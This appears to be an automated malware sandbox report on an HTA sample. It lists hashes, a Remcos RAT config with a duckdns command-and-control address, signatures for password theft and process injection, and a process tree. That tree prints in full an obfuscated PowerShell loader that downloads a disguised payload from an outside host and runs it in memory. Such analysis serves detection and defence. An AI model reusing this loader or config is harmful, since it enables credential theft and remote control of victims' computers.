Analysis
- user interaction
yes - max time kernel
217s - max time network
211s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 12:55
Static task
static1
Behavioral task
behavioral1
Sample
mfasgood.hta
Resource
win11ltsc2024-20260709-en
General
- Target mfasgood.hta
- Size 807KB
- Sample260910-p5s37stepc
- SHA256 8e7af0d5af18f6d4eef967c54ce2063ecca6ec6203723d087d7768d89a5b5623
- MD5 a173a925dab04c783d231be02df726cf
- SHA1 96514f8683f8bc83bf2495f2e5daa4d7181a0e98
- SHA512 96b72080eba640303a47187d451ea7fd4f17446ac388b66ed44723b9820c8d3983622fce023745090eca6e2031db82d61a8cabce83e2ed90cffe0c7684f8369b
- SSDEEP 384:fmv3xicS7ApAxOYwTq1r37ApA5LnLeOpPQjqwm3v3zRarR2hrx/hs1EG5p/s1Ene:8681GLOKNnxs39zC7unyAb0Phbl+W9
- TLSH T1A5051E07A5160A0D52B30B169B048F8BA8305E8F1042DB1DBF6EA71F5BA49DCB3BF755
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
exe.dropper
https://pic.li/images/MSI_PRO_Latest.jpeg
Extracted
-
remcos
-
6.0.0 Pro
-
EveryMaraNma$$$$
-
demnocusurpapanottodelivermebetterlogs.duckdns.org:14646
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
true
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-AT6RVM
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2368 2892 powershell.exe 88 - Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral1/memory/4888-36-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral1/memory/2180-38-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral1/memory/5488-33-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft - NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral1/memory/4888-36-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView - NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral1/memory/5488-33-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 2368 powershell.exe 9 2368 powershell.exe - Accesses Microsoft Outlook accounts 1 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts CasPol.exe Key opened \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts CasPol.exe - Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook CasPol.exe Key enumerated \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook CasPol.exe Key queried \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook CasPol.exe Key opened \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook CasPol.exe Key enumerated \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook CasPol.exe Key queried \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook CasPol.exe -
pid Process 2368 powershell.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\taskschd.msc mmc.exe - Suspicious use of SetThreadContext 7 IoCs
description pid Process procid_target PID 2368 set thread context of 616 2368 powershell.exe 92 PID 616 set thread context of 5488 616 CasPol.exe 93 PID 616 set thread context of 4888 616 CasPol.exe 94 PID 616 set thread context of 2180 616 CasPol.exe 96 PID 616 set thread context of 5848 616 CasPol.exe 102 PID 616 set thread context of 3404 616 CasPol.exe 103 PID 616 set thread context of 4844 616 CasPol.exe 104 - Program crash 1 IoCs
pid pid_target Process procid_target 1484 5488 WerFault.exe 93 - System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe - Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2368 powershell.exe 2368 powershell.exe 2368 powershell.exe 2368 powershell.exe 5488 CasPol.exe 5488 CasPol.exe 2180 CasPol.exe 2180 CasPol.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 5848 CasPol.exe 5848 CasPol.exe 4844 CasPol.exe 4844 CasPol.exe 1632 taskmgr.exe 1632 taskmgr.exe 5848 CasPol.exe 5848 CasPol.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe - Suspicious behavior: GetForegroundWindowSpam 2 IoCs
pid Process 1632 taskmgr.exe 4656 mmc.exe - Suspicious behavior: MapViewOfSection 8 IoCs
pid Process 616 CasPol.exe 616 CasPol.exe 616 CasPol.exe 616 CasPol.exe 616 CasPol.exe 616 CasPol.exe 616 CasPol.exe 616 CasPol.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2368 powershell.exe Token: SeDebugPrivilege 2180 CasPol.exe Token: SeDebugPrivilege 1632 taskmgr.exe Token: SeSystemProfilePrivilege 1632 taskmgr.exe Token: SeCreateGlobalPrivilege 1632 taskmgr.exe Token: SeDebugPrivilege 4844 CasPol.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe Token: 33 4656 mmc.exe Token: SeIncBasePriorityPrivilege 4656 mmc.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe 1632 taskmgr.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1632 taskmgr.exe 4656 mmc.exe 4656 mmc.exe - Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 2368 wrote to memory of 4056 2368 powershell.exe 91 PID 2368 wrote to memory of 616 2368 powershell.exe 92 PID 2368 wrote to memory of 616 2368 powershell.exe 92 PID 2368 wrote to memory of 616 2368 powershell.exe 92 PID 2368 wrote to memory of 616 2368 powershell.exe 92 PID 2368 wrote to memory of 616 2368 powershell.exe 92 PID 2368 wrote to memory of 616 2368 powershell.exe 92 PID 2368 wrote to memory of 616 2368 powershell.exe 92 PID 616 wrote to memory of 5488 616 CasPol.exe 93 PID 616 wrote to memory of 4888 616 CasPol.exe 94 PID 616 wrote to memory of 4080 616 CasPol.exe 95 PID 616 wrote to memory of 2180 616 CasPol.exe 96 PID 616 wrote to memory of 1764 616 CasPol.exe 101 PID 616 wrote to memory of 5848 616 CasPol.exe 102 PID 616 wrote to memory of 3404 616 CasPol.exe 103 PID 616 wrote to memory of 4844 616 CasPol.exe 104 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
description ioc Process Key queried \REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook CasPol.exe
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mfasgood.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
PID:4692
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$cevafejamotuhofizirawogininuseyenegogavukogewuyahunopuvohacehakefavuzafimuganepumecupacirexivahehobi=''https://pic.li/images/MSI_PRO_Latest.jpeg''; $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi = [System.Net.HttpWebRequest]::Create($cevafejamotuhofizirawogininuseyenegogavukogewuyahunopuvohacehakefavuzafimuganepumecupacirexivahehobi); $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi.UserAgent = ''Mozilla/5.0''; $cebigigakarezeqakopohopufiziqanicihoyewiwanuxegepihagayudecozizahusikidigajehimenegojihelayesabedifo = $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi.GetResponse().GetResponseStream(); $qikufapubenizidodegerobapadoqevifopecixasosutuhicevutatowuloweyosocefomekegetazovahamivulusegoyikixa = New-Object IO.StreamReader($cebigigakarezeqakopohopufiziqanicihoyewiwanuxegepihagayudecozizahusikidigajehimenegojihelayesabedifo); $sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya = $qikufapubenizidodegerobapadoqevifopecixasosutuhicevutatowuloweyosocefomekegetazovahamivulusegoyikixa.ReadtoEnd(); $daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu=''IN-''; $bebamojewoqavozipejiqarisumawovogigawavequzofevitofeladicucixomirusetuhilikotedekidanimowajohesuzeza=''-in1''; $quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu); $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.LastIndexOf($bebamojewoqavozipejiqarisumawovogigawavequzofevitofeladicucixomirusetuhilikotedekidanimowajohesuzeza); if($quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo -eq -1 -or $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro -eq -1){return}; $hokatidecakujonedisolehiqazuyijufimijabavuwevihowewefeqazimicohumanexiqebuyugabiqiquxevazusupuzetira=$quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length; $lagopiqekorazuyegegezazawucinedihogajevubahiwurujofesenewoluyeqoposehikohenodikubomacanefoquxivamahi=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.Substring($sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu)+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length, $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro-($sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu)+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length)); $yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi=$lagopiqekorazuyegegezazawucinedihogajevubahiwurujofesenewoluyeqoposehikohenodikubomacanefoquxivamahi.Replace(''*'',''A'').ToCharArray(); $yitexujasocumuxipagohedimojeqeciyowizuqinusetapohoyohejadicikowubosadebomunitubusugadujewupamutonoqa = -join $yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi[($yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi.Length - 1)..0]; $vacomolujigapolaqopemumubiloficuqovaxewovasixazujitujacufonefatiheyehoqiwihahobehigetecahigalumidito = [Type]::GetType(''System.Convert''); [byte[]]$toyegibayivojikoqovorahisugosujuyohubavalurenixawehategeqenaxumiramanumokevudipirupaxilaxayelevupulu = $vacomolujigapolaqopemumubiloficuqovaxewovasixazujitujacufonefatiheyehoqiwihahobehigetecahigalumidito.GetMethod(''FromBase64String'').Invoke($null, (, $yitexujasocumuxipagohedimojeqeciyowizuqinusetapohoyohejadicikowubosadebomunitubusugadujewupamutonoqa)); $sutinevakawixopefegonizupowafiqimituniwikofazojuhejavenixejemoqeqidoligezusoxigevubotarisinedasejaxi=[AppDomain]::CurrentDomain.GetType().GetMethod(''Load'', [byte[]]); $zarudaciwefiqegogumebeduvokusalopekefacezugetudejemukenuqipowijupogicocefidujobogisaxorujutatorikoqe=$sutinevakawixopefegonizupowafiqimituniwikofazojuhejavenixejemoqeqidoligezusoxigevubotarisinedasejaxi.Invoke([AppDomain]::CurrentDomain, (,$toyegibayivojikoqovorahisugosujuyohubavalurenixawehategeqenaxumiramanumokevudipirupaxilaxayelevupulu)); $betupobuvonuyemafiloqepejavefizimozisejisuququxisakecinulakalojozageluzitohasanocibolujinokurusuxibe=(''NqhiJ6EfTp6E04lsyxlluzYvfYdGz1w4607ElHLVamPg1HYHMco6RzuW2/JCC7bhIVck8RlfwVWH1wyXmn0OJw=='','''',''t3ZET90eegYzbfa5LfVuh/MQeejD+0PB87H4jaOHeqlGr+mVxjJoJnDF1XWA+mUd'',''VIxmtcEFgPqiMLNFobxMBNTI0tUz9w1qllvKae1Vnf8='',''8LAYhhhdLYjveDcwRmQSatgvwOuKY4GKs0Na/e5QJcw='','''',''nXLr4/kfZUfEYRHCwsxX0pRlRi+dFQrIbmoX5Qd6OE0='','''',''U21UkwaBjg1XEVBLqiFZOGPwjQ4bnMZVAwmEjmb9UtA='',''Z4bTHjMc3bFSLZLVSxVw1ZNK2itKe3/UvhLWSd5UbMf04XIfXGRHkAUkYAEL8O03'',''8jabn2Z++8fWHT8qqjzplkUebY/u87ZbhJng/tYPkA8='',''ykHI61dGv5YYlXYzamtfbyrctZI4nhBL5tTBjsl+mAQ='',''ozRQYhEPsuRK3+kkFcGistUkBdNpAuP0PU7MVAKh//M='','''',''fW0OqXhDpIASUAy/ZUI3D83gmLBcBGcP9nFEgDegktA='',''dcNZqEPRdANDWGKSeAZIbZzZCgGzjHm6NlOlPm2BDUU='','''','''',''''); try{ $xenakarojurutoguguraniwoxuweworihorenapirunoqigumogemoximedaruqohilaxedubunuhoduxanuhoneqesayiqinuzo=($zarudaciwefiqegogumebeduvokusalopekefacezugetudejemukenuqipowijupogicocefidujobogisaxorujutatorikoqe.GetTypes() | Where-Object Name -eq ''gfffffffffffffffffffffffffff'' | Select-Object -First 1); $lujorohivavuvolopeqarolehuwatunakifilunoqenufageyudepoyofupocoxudatasodacucewavoluwurohabodeninebime=($xenakarojurutoguguraniwoxuweworihorenapirunoqigumogemoximedaruqohilaxedubunuhoduxanuhoneqesayiqinuzo.GetMethods() | Where-Object Name -eq ''hhhhhhhhhhhhhhhhhhhhhhhhh'' | Select-Object -First 1); $lujorohivavuvolopeqarolehuwatunakifilunoqenufageyudepoyofupocoxudatasodacucewavoluwurohabodeninebime.Invoke($null,[object[]]$betupobuvonuyemafiloqepejavefizimozisejisuququxisakecinulakalojozageluzitohasanocibolujinokurusuxibe) }catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵PID:4056
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:616 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\onpmsdkswigi"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5488 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5488 -s 5964⤵
- Program crash
PID:1484
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\yhufsvulkqynkkp"3⤵
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
PID:4888
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jjzptofnyyqsnrdnpeq"3⤵PID:4080
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jjzptofnyyqsnrdnpeq"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2180
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\nsazqfcsad"3⤵PID:1764
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\nsazqfcsad"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5848
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\qngsrxntvlfdlm"3⤵
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- outlook_office_path
PID:3404
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\aplcsqfnjtxiwsofa"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4844
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5488 -ip 54881⤵PID:4828
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:1632
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:5956
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s1⤵
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4656
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\nsazqfcsad
- Size 2B
- SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
- MD5 f3b25701fe362ec84616a93a45ce9998
- SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
- SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
- MD5 SHA1 SHA512